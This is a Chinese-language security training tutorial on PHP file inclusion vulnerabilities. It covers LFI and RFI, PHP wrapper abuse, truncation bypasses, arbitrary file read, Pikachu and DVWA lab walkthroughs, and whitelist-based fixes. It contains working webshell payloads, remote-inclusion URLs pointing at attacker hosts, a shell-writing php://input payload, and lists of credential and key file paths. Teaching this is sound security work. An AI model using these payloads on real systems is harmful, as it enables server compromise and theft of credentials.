文件包含漏洞
1.文件包含漏洞基础
1.1 漏洞基础原理
在程序开发中,为了提高代码复用性和灵活性,开发人员通常会将重复使用的功能函数(如数据库连接、头部尾部加载)写在独立的文件中。当需要使用这些功能时,通过特定的函数直接引用该文件,而无需重复编写。
为什么会产生漏洞? 这种“动态调用”机制本是特性,但当满足以下两个条件时,就变成了漏洞:
- 用户可控: 被包含的文件路径或文件名由用户通过参数(如 GET/POST)传入。
- 校验不严: 后端没有对用户传入的参数进行严格的白名单校验或过滤。
攻击者可以利用这一点,通过传入恶意路径(如 ../../etc/passwd)或远程恶意文件地址,让服务器去包含并执行这些非预期的文件,从而导致敏感信息泄露或服务器被控制(GetShell)。
文件包含漏洞的本质是应用程序对用户输入的文件路径参数缺乏有效校验,导致攻击者能够通过可控参数引入非预期的文件内容。这种漏洞不仅限于泄露敏感信息,更严重时可导致远程代码执行(RCE),成为渗透测试中的关键突破口。
1.2 深层原理剖析
PHP设计初衷支持动态包含文件,开发人员常将核心逻辑封装为独立文件(如common.php),通过include/require函数动态调用。当参数如?file=xxx未做过滤时,攻击者可构造恶意路径,使PHP执行非预期文件。关键点在于:
- PHP执行机制:
include和require在包含文件时不会检查文件内容是否为PHP代码,直接执行包含内容,这是漏洞能导致RCE的根本原因。 - 路径处理机制:PHP处理路径时会进行规范化,但攻击者可以利用
../、空字符截断(%00)、路径遍历等技巧绕过简单过滤。 - 动态包含特性:当开发者使用类似
include($_GET['page'].'.php');的代码时,攻击者可以通过控制page参数来包含任意文件。
1.3 漏洞触发条件
文件包含漏洞需要同时满足以下条件:
- 应用程序使用用户可控的变量作为包含路径参数
- 服务器未对输入进行严格的白名单验证
- 服务器配置允许包含外部资源(针对远程文件包含)
- PHP配置未禁用危险函数(如
allow_url_include未设置为Off)
1.4 漏洞分类
文件包含漏洞主要分为两类:
A. 本地文件包含 (LFI - Local File Inclusion)
- 定义:只能包含服务器本地存在的文件。
- 典型利用:
- 读取系统文件:利用目录遍历符
../读取/etc/passwd(Linux) 或C:\Windows\win.ini(Windows)。 - 配合上传 GetShell:攻击者先上传一个包含恶意代码的图片(图片马),然后利用 LFI 包含这个图片路径。因为 PHP 的包含函数会无视文件扩展名,强行将文件内容当作 PHP 代码执行,从而获得 Shell。
- 包含日志文件(小技巧):如果无法上传文件,攻击者可以将恶意代码写入服务器日志(如 User-Agent 中注入代码),然后包含日志文件。
- 读取系统文件:利用目录遍历符
B. 远程文件包含 (RFI - Remote File Inclusion)
- 定义:可以包含远程服务器上的文件(通常是 HTTP/FTP 协议)。
- 前提条件:PHP 配置 (
php.ini) 中allow_url_fopen和allow_url_include必须启用(PHP默认配置通常为allow_url_fopen=On但allow_url_include=Off,所以 RFI 较少见) - 典型利用:
- 攻击者在自己的服务器上托管一个恶意文件(如
shell.txt内容为<?php system($_GET['cmd']); ?>)。 - 构造 Payload:
?file=http://hacker.com/shell.txt。 - 目标服务器下载并执行该代码,直接造成远程命令执行。
- 攻击者在自己的服务器上托管一个恶意文件(如
还有一种高级利用:PHP 伪协议
当没有现成的文件可利用时,PHP 提供的伪协议(Wrappers)也可能会成为突破口:
php://input:用来接收 POST 数据并执行。如果allow_url_include开启,可以直接通过 POST 发送 PHP 代码并执行。php://filter:这是 LFI 中最常用的技巧。用于读取 PHP 源码。- 问题:直接包含
config.php会执行代码,攻击者看不到源码(如数据库密码)。 - 解决:使用
php://filter/read=convert.base64-encode/resource=config.php,将文件内容 Base64 编码后输出,攻击者解码即可拿到源码。
- 问题:直接包含
data://:类似 RFI,直接在 URL 中写入代码内容进行包含执行。
1.5 PHP 中常见文件包含函数
| 函数 | 执行时机 | 未找到文件时行为 | 漏洞利用影响 |
|---|---|---|---|
include() |
脚本执行到此行时 | 警告(脚本继续执行) | 最高风险:攻击者可持续尝试,不影响主流程,易发现漏洞 |
require() |
脚本启动时 | 致命错误(脚本终止) | 次高风险:错误会暴露服务器路径,但可能被误认为正常错误 |
include_once() |
执行到此行时,文件未包含过 | 警告(脚本继续执行) | 中等风险:防重复包含可能减少攻击面,但仍可利用 |
require_once() |
脚本启动时,文件未包含过 | 致命错误(脚本终止) | 较低风险:错误暴露明显,但漏洞仍存在 |
模拟案例:
某CMS存在include($_GET['page'].'.php');,攻击者构造:
?page=php://filter/resource=/etc/passwd
此时PHP会将/etc/passwd内容经流过滤器编码后输出,实现文件读取
1.6 漏洞利用方式
直接路径遍历:
GET /index.php?page=../../../../etc/passwd HTTP/1.1直接读取敏感文件,但通常只能看到原始内容。
PHP伪协议利用:
GET /index.php?page=php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1使用
php://filter读取PHP文件源码(Base64编码后可避免被解析)。日志文件包含:
GET /index.php?page=/var/log/apache/access.log HTTP/1.1包含Web服务器日志文件,通过在User-Agent中插入PHP代码实现RCE。
远程文件包含:
GET /index.php?page=http://attacker.com/shell.txt?cmd=id HTTP/1.1直接包含远程服务器上的恶意脚本。
数据流协议利用:
GET /index.php?page=data:text/plain,<?php phpinfo(); ?> HTTP/1.1通过
data://协议直接在URL中嵌入PHP代码。不过data协议是瞬时内存马,不会在磁盘上留下文件,每次请求都需要重新触发 include,并不稳定
1.7 漏洞防御与修复
白名单路径校验:
$allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (!in_array($page, $allowed_pages)) { die('Invalid page request'); } include($page . '.php');禁用危险配置:
; php.ini 配置 allow_url_fopen = Off allow_url_include = Off路径规范化处理:
$base_dir = "/var/www/html/includes/"; // 定义允许被包含文件所在的基础目录(白名单根目录),所有可包含文件必须位于该目录下 $page = basename($_GET['page']); // 从 GET 参数中获取 page 值,并通过 basename() 去除路径信息 // 例如 ../../etc/passwd → passwd,从而初步防止目录穿越 $full_path = realpath($base_dir . $page . '.php'); // 将基础目录 + 文件名 + 固定后缀拼接成完整路径 // realpath() 会解析真实的绝对路径(解析 ../、符号链接等) // 如果文件不存在,realpath() 会返回 false if (strpos($full_path, $base_dir) !== 0) { // 判断解析后的真实路径是否仍然以基础目录开头 // 若不以 $base_dir 开头,说明路径已经逃逸出白名单目录 die('Directory traversal attempt detected'); // 一旦检测到路径越界,立即终止程序,防止任意文件包含 } include($full_path); // 在路径校验通过的前提下,安全地包含目标 PHP 文件并执行
其他防御方法:
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
2.文件包含漏洞靶场实战
2.1 Pikachu
2.1.1 代码分析
$_GET['filename']接收客户端传的参数,其中没有任何过滤带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。
2.1.2 利用方法
文件包含漏洞,需要引入上传的文件到网站目录,或服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要条件。
2.1.2.1 本地文件包含
本地包含文件,被包含的文件在本地。
2.1.2.1.1 文件包含/etc/passwd
如果存在漏洞,文件又存在的时候,不是 php文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息,文件里存有linux用户的配置信息。
?filename=../../../../../../../etc/passwd&submit=1

2.1.2.1.2 文件包含图片
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后,代码就被执行。
<?php phpinfo();eval($_POST['cmd']);?> 保存为 shell.jpg
上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码。

2.1.2.1.3 包含日志文件 getshell
原理分析
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
使用 burpsuite 访问GET ,填写 <?php phpinfo();eval($_POST[cmd]);?>
linux 日志文件权限默认是 root,而php 的权限是 www-data,一般情况下都是读取不了,如果是 windows 环境下,权限是允许的。
linux 默认的 apache 日志文件路径
访问日志:
/var/log/apache2/access.log
错误日志:
/var/log/apache2/error.log
把文件日志包含进来即可。
搭建测试环境
<?php
include $_GET['file'];
?>
抓包测试


包含access.log

2.1.2.1.4 包含环境变量 getshell
在User-Agen写入php代码

/proc/self/environ 这个文件里保存了系统的一些变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数是你浏览器名称的参数。而这个参数在我们客户端是可以修改的。

如果权限足够(大部分情况下/proc目录下的文件是不行的),包含这个文件就能 getshell
2.1.2.2 远程文件包含
这里可以使用这个靶场:http://114.66.37.31:20002/,内部平台里的远程文件包含不好开allow_url_include
随便尝试远程包含一个文件

当然也可以远程包含一句话木马或者phpinfo文件。


2.2 DVWA靶场
这里不展开讲,每个人自己手动完成靶场的文件包含关卡,low,medium,high都做一下
DVWA可以使用这个:http://114.66.37.31:20001/,内部平台里的远程文件包含不好开allow_url_include
上面Pikachu的也自己做一下。
远程文件包含测试可以使用
http://114.66.37.31:20000/get.txt
文件内容:<?php @eval($_GET['cmd']); ?>
3.伪协议
当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。
伪协议(PHP 封装器)
当目标环境中无法向本地写入文件,且由于配置限制无法进行远程文件包含时,可以利用 PHP 内置的伪协议机制进行攻击。PHP 伪协议本质上是一类特殊的数据流封装器,可被 include、require、file_get_contents 等函数当作文件来处理。攻击者可借助 php://input、data://、php://filter 等伪协议,在不落地文件的情况下构造并执行恶意 PHP 代码,从而实现代码执行或敏感文件读取。
3.1 伪协议基础
3.1.1 伪协议为什么能被利用
3.1.1.1 PHP 对“文件”的理解比你想的宽
在 PHP 内部,文件 ≠ 磁盘上的文件,而是一个“可读写的数据流(stream)”。
只要满足以下条件之一:
- 能返回数据
- 能被 PHP 当作输入流
- 能被
include()解析
那么 它就可以被当作“文件”使用。
伪协议本质上就是:
PHP 预先实现好的、可以被当作“文件流”访问的特殊通道。
3.1.1.2 漏洞代码为什么会中招
典型漏洞代码:
include($_GET['file']);
开发者本意是:
包含一个本地 php 文件
但 PHP 实际允许:
包含任意“可解析的数据流”
于是攻击者就可以把 file 参数从:
index.php
变成:
php://input
data://text/plain,<?php phpinfo(); ?>
程序逻辑没变,但安全边界已经被绕过。
3.1.2 伪协议适用场景
3.1.2.1 本地写不进去
- 没有文件上传漏洞
- 目录不可写
- 权限不足
open_basedir限制
无法落地 WebShell
3.1.2.2 远程又包含不了
allow_url_include = Off- 无法使用 RFI
- 网络不出网
- 被 WAF 拦截
无法远程 include 木马
3.1.2.3 伪协议的作用
伪协议的核心价值在于:
不依赖本地文件写入,也不依赖远程文件加载, 直接在“内存数据流”中构造并执行恶意代码。
3.1.3 伪协议漏洞利用能力
3.1.3.1 读取任意文件内容(源码泄露)
php://filter
主要用途:
- 读取 PHP 源码
- 绕过后缀限制
- 绕过解析执行
3.1.3.2 直接执行代码(RCE)
data://
php://input
特点:
- 代码不落地
- 直接被 include / eval 执行
- 非常隐蔽
3.1.3.3 辅助绕过过滤
zip://
phar://
用于:
- 后缀绕过
- 协议嵌套
- 特定函数触发反序列化
3.1.4 常见 PHP 伪协议分类
3.1.4.1 php://filter(读文件专用)
php://filter/read=convert.base64-encode/resource=index.php
作用:
- 读取 PHP 文件源码
- 避免被解析执行
常见于:任意文件读取、LFI
3.1.4.2 php://input(从请求体读数据)
include("php://input");
配合 POST 数据:
<?php phpinfo(); ?>
作用:
- 直接执行 POST 中的 PHP 代码
常见于:LFI → RCE
3.1.4.3 data://(最“暴力”的执行方式)
data:text/plain,<?php phpinfo(); ?>
特点:
- 不依赖文件
- 不依赖请求体
- payload 直接在 URL 里
前提:allow_url_include = On
3.1.4.4 phar://(进阶)
- 触发反序列化
- 结合
file_exists()/unlink()等函数
多见于高级漏洞链
3.1.5 其他常见协议总结
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流

测试demo
<?php
include $_GET['file'];
?>
可以使用phpstudy测试,选择5.3以下PHP,按照3.2配置开启allow_url_fopen、allow_url_include。
3.2 php.ini 参数设置
在 php.ini 里有两个重要的参数:allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

修改一下php配置文件

查看效果

3.3 各种协议利用方法
3.3.1 file://
通过file协议可以访问本地文件系统,读取到文件的内容,不受allow_url_fopen与allow_url_include的影响
Windows:
/test.php?file=C:\Windows\System32\drivers\etc\hosts

Linux:
/test.php?file=file:///etc/passwd

3.3.2 http://、ftp://
前提条件
allow_url_fopen = On
allow_url_include = On

3.3.3 php://filter
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容没有读取之前没有机会应用其他过滤器有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,这时候我们可以以base64编码的方式读取指定文件的源码,payload:
php://filter/convert.base64-encode/resource= 文件路径
/test.php?file=php://filter/convert.base64-encode/resource=./test.php

Base64解码之后可以得到数据内容

3.3.4 php://input
前提条件
allow_url_include = On
对allow_url_fopen不做要求
php://input可以读取没有处理过的post数据,就是用它之后,post直接放完整的php代码就可以 访问此页面
test.php?file=php://input
并且在请求体里加上 Payload


执行系统命令

写入shell
<?php file_put_contents('./shell.php','<?php eval($_POST[1]);?>');?>


3.3.5 zlib://、bzip2://
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响 文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀
/test.php?file=compress.zlib://shell.zip
/test.php?file=compress.bzip2://shell.bz2
将phpinfo.php压缩之后,上传并且利用伪协议包含

3.3.6 data://
前提条件
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
利用 data:// 伪协议可以直接达到执行php代码的效果,例如执行 phpinfo() 函数,data://text/plain/ ;base64,php 马的 base64 形式,如果base64加密出现+需要做URL编码
<?php system("whoami");?> base64编码后:PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
/test.php?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==

使用phpinfo()

如果不把 + URL编码成 %2b 是会报错的
3.3.7 zip://
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响,依赖于 zip 扩展
文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23
/test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.zip%23shell.php

将shell.zip改为jpg格式后尝试
/test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.jpg%23shell.php

也可以直接使用phar访问

3.3.9 phar://
phar(PHP Archive) 是 PHP 官方提供的一种归档文件格式与访问机制,用于将多个 PHP 文件、资源文件打包成一个单独的归档文件,并像普通文件一样进行访问和执行。
PHP 为 phar 提供了一个流封装器(Stream Wrapper):
phar://
这就是我们在文件包含漏洞中常说的 phar 伪协议。
phar 的本质
从 PHP 内核角度看:
- phar 并不是“解压后再执行”
- 而是 PHP 在运行时直接解析归档结构
- 并将其中的文件映射成“虚拟文件系统”
因此:
phar:///path/to/a.zip/shell.php
在 PHP 看来,与:
include '/var/www/html/shell.php';
逻辑上是等价的
phar 伪协议支持的文件类型
phar 并不只支持 .phar 后缀,而是支持多种归档格式:
| 格式 | 是否支持 |
|---|---|
.phar |
✅ |
.zip |
✅ |
.tar |
✅ |
.tar.gz / .tgz |
✅ |
注意:
zip 文件 ≠ zip:// zip 文件 = phar://zip.zip/xxx.php
phar 伪协议的基本语法
- 通用语法
phar://归档文件绝对路径/归档内文件路径
- 示例
归档结构:
shell.zip
└── shell.php
include 方式:
include 'phar:///var/www/html/shell.zip/shell.php';
phar 在文件包含漏洞中的作用
1. 为什么 phar 能用来打文件包含漏洞
在文件包含漏洞中,核心危险点是:
include($_GET['file']);
而 phar 满足三个关键条件:
- 被 include/require 识别
- 可执行 PHP 代码
- 可控路径
因此只要:
- 程序未限制 phar
- PHP 未禁用 phar
- 归档中存在 PHP 文件
就可以 借助 phar 执行恶意 PHP 代码
2. 典型利用场景
场景一:本地文件包含(LFI)
include($_GET['file']);
Payload:
?file=phar:///var/www/html/shell.zip/shell.php
场景二:上传点 + 文件包含
- 上传
shell.zip - 包含:
phar:///var/www/html/upload/upload/shell.zip/shell.php
场景三:绕过后缀限制
如果代码是:
include($_GET['page'] . '.php');
可能尝试:
?page=phar:///var/www/html/shell.zip/shell
phar 与 php://input、data:// 的区别
| 封装器 | 主要用途 | 是否需要文件 |
|---|---|---|
php://input |
直接执行 POST 数据 | ❌ |
data:// |
内联代码执行 | ❌ |
phar:// |
执行归档内 PHP 文件 | ✅ |
php://filter |
读取源码 | ❌ |
实战优先级建议:
php://input > data:// > phar:// > 远程文件包含
phar 伪协议的限制条件
1.PHP 配置限制
必须满足:
extension=phar
一般默认开启。
2.phar.readonly
phar.readonly = On
影响说明:
| 行为 | 是否受影响 |
|---|---|
| 创建 phar | ❌ 不允许 |
| 读取 phar | ✅ 允许 |
结论: 文件包含攻击只需要“读取”,不受影响。
3. disable_functions
如果 shell 中用了:
system / exec / passthru
即使 include 成功,也可能无法执行系统命令。
4. open_basedir
若开启:
open_basedir=/var/www/html/
则:
phar:///tmp/shell.zip
不可访问
phar 在安全中的“进阶风险”(了解即可)
phar 反序列化漏洞
当 PHP 对 phar 文件进行:
file_existsunlinkgetimagesizestat
时,可能触发 phar 元数据反序列化
这是另一条攻击链(反序列化 RCE),与文件包含利用是两个知识点,但底层同源。后续会学到
3.3.10 expect://
该封装协议默认未开启
expect:// 是 PHP 中的一个伪协议(Wrapper),用于执行交互式命令。它在 PHP 5.4.0 版本中被引入,需要安装 Expect 扩展才能使用。
Expect 是一个用于自动化交互式进程的工具,它可以从一个脚本中发送命令,并且根据命令输出来自动匹配响应,从而实现自动化控制。在 PHP 中,通过 expect:// 伪协议可以直接访问 Expect 工具,方便地使用其功能。
下面是一个 expect:// 的实例:
// 通过 expect:// 打开 telnet 连接
$handle = fopen("expect://telnetbbs.example.com", "r+");
// 像 telnet 发送命令
fwrite($handle, "username\n");
fwrite($handle, "password\n");
fwrite($handle, "ls\n");
// 读取 telnet 输出
echo stream_get_contents($handle);
// 关闭连接
fclose($handle);
在上面的例子中,我们通过 expect:// 打开了一个 Telnet 连接,并向其发送了一些命令,最后读取了 Telnet 的响应并关闭了连接。
需要注意的是,使用 expect:// 时需要安装 Expect 扩展,如果扩展没有安装,则会抛出一个致命错误。而且使用 Expect 执行交互式命令需要精确匹配命令输出中的某些字符,因此需要更加仔细地编写代码。
如果没有安装这个扩展会报错

3.3.11 ssh2://
该封装协议默认未开启
ssh2.shell://user:pass@example.com:22/xterm
3.3.12 rar://
该封装协议默认未开启
3.3.13 ogg://
该封装协议默认未开启
ogg://soundfile.ogg
ogg:// 是 PHP 中的一个伪协议(Wrapper),用于读取 Ogg Vorbis 格式的音频文件。通过 ogg:// 伪协议,我们可以像操作本地文件一样地读取和处理 Ogg Vorbis 格式的音频文件,无需下载到本地硬盘。
Ogg Vorbis 是一个自由、开放的音频压缩格式,与 MP3 相比,它有更好的压缩比和音频质量,通常用于开源软件的音频压缩和传输。
下面是一个 ogg:// 的实例:
// 打开 Ogg Vorbis 文件
$file = fopen("ogg://example.com/song.ogg", "rb");
// 读取文件内容
$content = stream_get_contents($file);
// 关闭文件
fclose($file);
在上面的代码中,我们打开了一个远程 Ogg Vorbis 文件,读取了其中的内容并关闭了文件句柄。
需要注意的是,使用 ogg:// 伪协议需要安装相关扩展,如 Ogg 和 Vorbis 扩展等。同时,由于 Ogg 文件通常较大,因此在读取和处理数据时需要考虑内存占用和性能问题。
4.文件包含常用路径
日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
包含系统配置文件
windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
包含远程文件 当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。

5.绕过截断
假如用户控制 $file 的值为 :../../etc/passwd 那么这段代码相当于 include 'inc/../../etc/passwd.htm' ,而这个文件显然是不存在
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
5.1 %00
需要注意的是, %00 截断需要 php 版本小于 5.3.4 ,且关闭 magic_quotes_gpc 功能。 %00 为结束符,在 filename 后带上 %00 ,就可以截断末尾的 .php 。
/test.php?file=../../../../../windows/system32/drivers/etc/hosts%00

5.2 ?
截断方法就是 ?号截断,在路径后面输入 ?号,服务器会认为 ?号后面的内容为 GET 方法传递的参数"?" 符号在 URL 中通常被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。在文件包含攻击中,攻击者试图通过构造恶意请求来读取或执行未授权访问的文件。
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt?
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%3f
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%00

5.3 路径长度截断
Windows 下目录最大长度为 256 字节,超出的部分会被丢弃 Linux 下目录最大长度为 4096 字节,超出的部分会被丢弃
/test.php?file=shell.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

5.4 点号截断
类似长度截断, php 版本小于 5.3 可以成功,只适用 windows ,点号需要多于 256
/test.php?file=shell.txt............................................................................................................................................................................................................................................................................................................................................................

5.5 问号绕过
在一些 Web 服务器上,文件名后加 "?" 号会被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。因此,如果一个网站存在文件包含漏洞,攻击者可以尝试在文件名后加 "?" 号并构造一个恶意查询参数来绕过某些安全检查。 但是,这种攻击方式并不是所有 Web 服务器都支持。例如, Apache Web 服务器默认情况下不允许在文件名后加"?" 号进行文件包含操作,而需要在配置文件中显式开启该功能。
5.6 #号绕过
"#" 符号在 URL 中通常被解释为锚点或片段标识符,用于指定文档内的特定位置。在文件包含攻击中,攻击者试图通过构造恶意请求来读取或执行未授权访问的文件。文件名后加 "%23"(# 号编码: %23)
5.7 空格绕过
空格字符在 URL 中通常会被转义为 "%20" 或 "+" 等编码形式。因此,如果攻击者尝试在 URL 中使用空格字符来绕过文件包含防护措施,大多数 Web 服务器会将空格字符解释为编码后的形式,并根据配置文件或应用程序代码进行相应的处理。
5.8 编码
通过 URL 编码来绕过过滤:攻击者可以使用 URL 编码来混淆字符,从而绕过过滤器的检查。
5.9 伪协议
用伪协议尝试攻击 利用伪协议来绕过过滤:攻击者可以使用伪协议(如 php://input )来绕过过滤器的检查。
5.10 null字符
用null 字节来绕过过滤:攻击者可以在文件路径中插入 null 字节( \0 ),使得文件被截断,绕过过滤器的检查。 在许多编程语言和操作系统中, null 字符( \0 )用作字符串的结束标志。在文件系统中,如果文件名包含 null 字符,则系统将其视为字符串的结束,从而导致文件路径被截断,绕过一些安全检查。
6.任意文件读取漏洞
6.1 漏洞定义
任意文件读取漏洞(Arbitrary File Read)是应用程序未对文件路径参数进行校验,直接允许用户读取服务器任意文件,通常由以下代码导致:
$filename = $_GET['file'];
echo file_get_contents($filename); // 未做路径过滤
6.2 漏洞成因与特点
- 代码实现差异:
- 文件包含漏洞:
include($_GET['file']);→ 包含并执行文件内容 - 任意文件读取漏洞:
echo file_get_contents($_GET['file']);→ 仅读取文件内容
- 文件包含漏洞:
- 利用限制:
- 任意文件读取漏洞无法直接执行代码
- 读取的文件内容会以文本形式返回给用户,PHP代码会被当作普通文本显示
6.3 常见触发函数
| 函数 | 说明 | 漏洞风险 |
|---|---|---|
file_get_contents() |
将文件内容读入字符串 | ⭐⭐⭐ |
readfile() |
输出文件内容 | ⭐⭐⭐ |
fopen() + fread() |
打开文件并读取内容 | ⭐⭐ |
file() |
将文件内容读入数组 | ⭐⭐ |
highlight_file() |
语法高亮显示文件内容 | ⭐ |
show_source() |
显示PHP文件源码 | ⭐ |
6.4 漏洞利用场景
系统文件泄露:
GET /read.php?file=../../../../..//etc/passwd HTTP/1.1配置文件泄露:
GET /read.php?file=config.php HTTP/1.1日志文件读取:
GET /read.php?file=/var/log/nginx/access.log HTTP/1.1敏感数据泄露:
GET /read.php?file=/var/www/html/database/credentials.json HTTP/1.1源码泄露:
GET /read.php?file=php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1使用
php://filter读取PHP源码(Base64编码后避免被解析执行)
6.5 文件包含漏洞 vs 任意文件读取漏洞
6.5.1 核心区别
| 对比维度 | 文件包含漏洞 (File Inclusion) | 任意文件读取漏洞 (Arbitrary File Read) |
|---|---|---|
| 核心机制 | 通过include/require动态包含文件 |
通过file_get_contents/readfile读取文件 |
| 执行能力 | ✅ 可执行代码(若包含PHP文件) | ❌ 仅读取内容(不执行代码) |
| 常见触发函数 | include(), require(), include_once() |
file_get_contents(), readfile(), fopen() |
| 漏洞严重性 | ⭐⭐⭐⭐⭐(可导致RCE) | ⭐⭐⭐(信息泄露,为后续攻击铺路) |
| 典型利用链 | LFI → RCE → 服务器控制 | 信息泄露 → 暴力破解 → 提权 |
| 防御重点 | 1. 路径白名单校验 2. 禁用allow_url_include |
1. 路径规范化 2. 禁止访问敏感目录 |
| 伪协议利用 | ✅ php://filter, data://, zip:// |
✅ php://filter(可实现类似效果) |
| 检测难度 | 中(需测试包含路径) | 低(直接尝试读取敏感文件) |
6.5.2 漏洞关系图
文件包含漏洞(LFI/RFI) → 可利用`php://filter`实现文件读取 → 与任意文件读取漏洞形成协同攻击
6.5.3 实战利用对比
文件包含漏洞利用路径:
LFI → php://filter读取/etc/passwd → 获取系统用户列表 → 尝试暴力破解 RFI → 直接包含远程shell → 立即获得RCE LFI → 包含日志文件 → 注入PHP代码 → 获得RCE任意文件读取漏洞利用路径:
读取config.php → 获取数据库凭证 → 数据库注入 读取/proc/self/environ → 获取环境变量 → 发现敏感信息 读取ssh私钥 → 远程登录服务器 读取源代码 → 发现其他漏洞
6.5.4 漏洞检测方法对比
| 漏洞类型 | 检测方法 | 成功标志 |
|---|---|---|
| 文件包含 | ?file=../../../../etc/passwd |
输出/etc/passwd内容 |
| 文件包含 | ?file=php://filter/resource=index.php |
输出PHP源码(可能被编码) |
| 任意文件读取 | ?file=/etc/passwd |
直接输出系统文件内容 |
| 任意文件读取 | ?file=php://filter/read=convert.base64-encode/resource=index.php |
输出Base64编码的PHP源码 |
6.6 漏洞修复示例:
// 任意文件读取漏洞修复
$allowed_dirs = ['/var/www/html/uploads/'];
// 定义允许被读取文件所在的目录白名单
// 只有位于这些目录下的文件才允许被访问,防止读取系统敏感文件
$file = realpath($_GET['file']);
// 获取用户传入的文件路径,并通过 realpath() 解析为真实的绝对路径
// realpath() 会消除 ../、./ 等路径穿越符号,并解析符号链接
// 如果文件不存在或路径非法,realpath() 将返回 false
foreach ($allowed_dirs as $dir) {
// 遍历所有允许访问的目录白名单
if (strpos($file, realpath($dir)) === 0) {
// 使用strpos函数判断用户请求的真实文件路径是否以白名单目录的真实路径开头
// 若成立,说明文件没有逃逸出允许访问的目录范围
echo file_get_contents($file);
// 使用 file_get_contents() 读取文件内容并回显
// 这里只是读取文件,不会执行其中的 PHP 代码
exit;
// 成功读取后立即终止脚本,避免继续执行后续拒绝逻辑
}
}
die('Access denied');
// 若所有白名单目录校验均未通过,说明发生了越权访问或路径穿越
// 直接终止程序并返回拒绝访问提示
6.7 总结
文件包含漏洞和任意文件读取漏洞虽然在表象上相似,但本质区别在于是否执行包含的文件。在渗透测试中:
- 优先利用文件包含漏洞,因为其可直接导致RCE,危害程度更高
- 将任意文件读取作为辅助手段,用于获取配置信息、源码等为后续攻击提供支持
- 两者的防御思路有重叠但不完全相同,文件包含需要额外注意远程包含和代码执行风险
当在代码审计中发现类似include($_GET['page'])的代码时,可以重点往文件包含考虑;发现file_get_contents($_GET['file'])时,也可以尝试下能否包含敏感文件。两者都是Web应用安全中的常见陷阱,但通过严格的输入验证和路径控制,完全可以有效避免。
7.拓展:任意文件下载漏洞
任意文件下载漏洞是任意文件读取漏洞的直接延伸与功能强化,指应用程序在未校验用户可控的文件路径参数时,不仅允许读取文件内容,还通过响应头(如 Content-Disposition: attachment)或内置下载逻辑,强制浏览器将目标文件以附件形式下载保存到本地。
7.1 漏洞特点与风险
技术本质:与任意文件读取共享相同的输入点和路径校验缺失问题,但服务端额外设置了下载响应头
典型代码
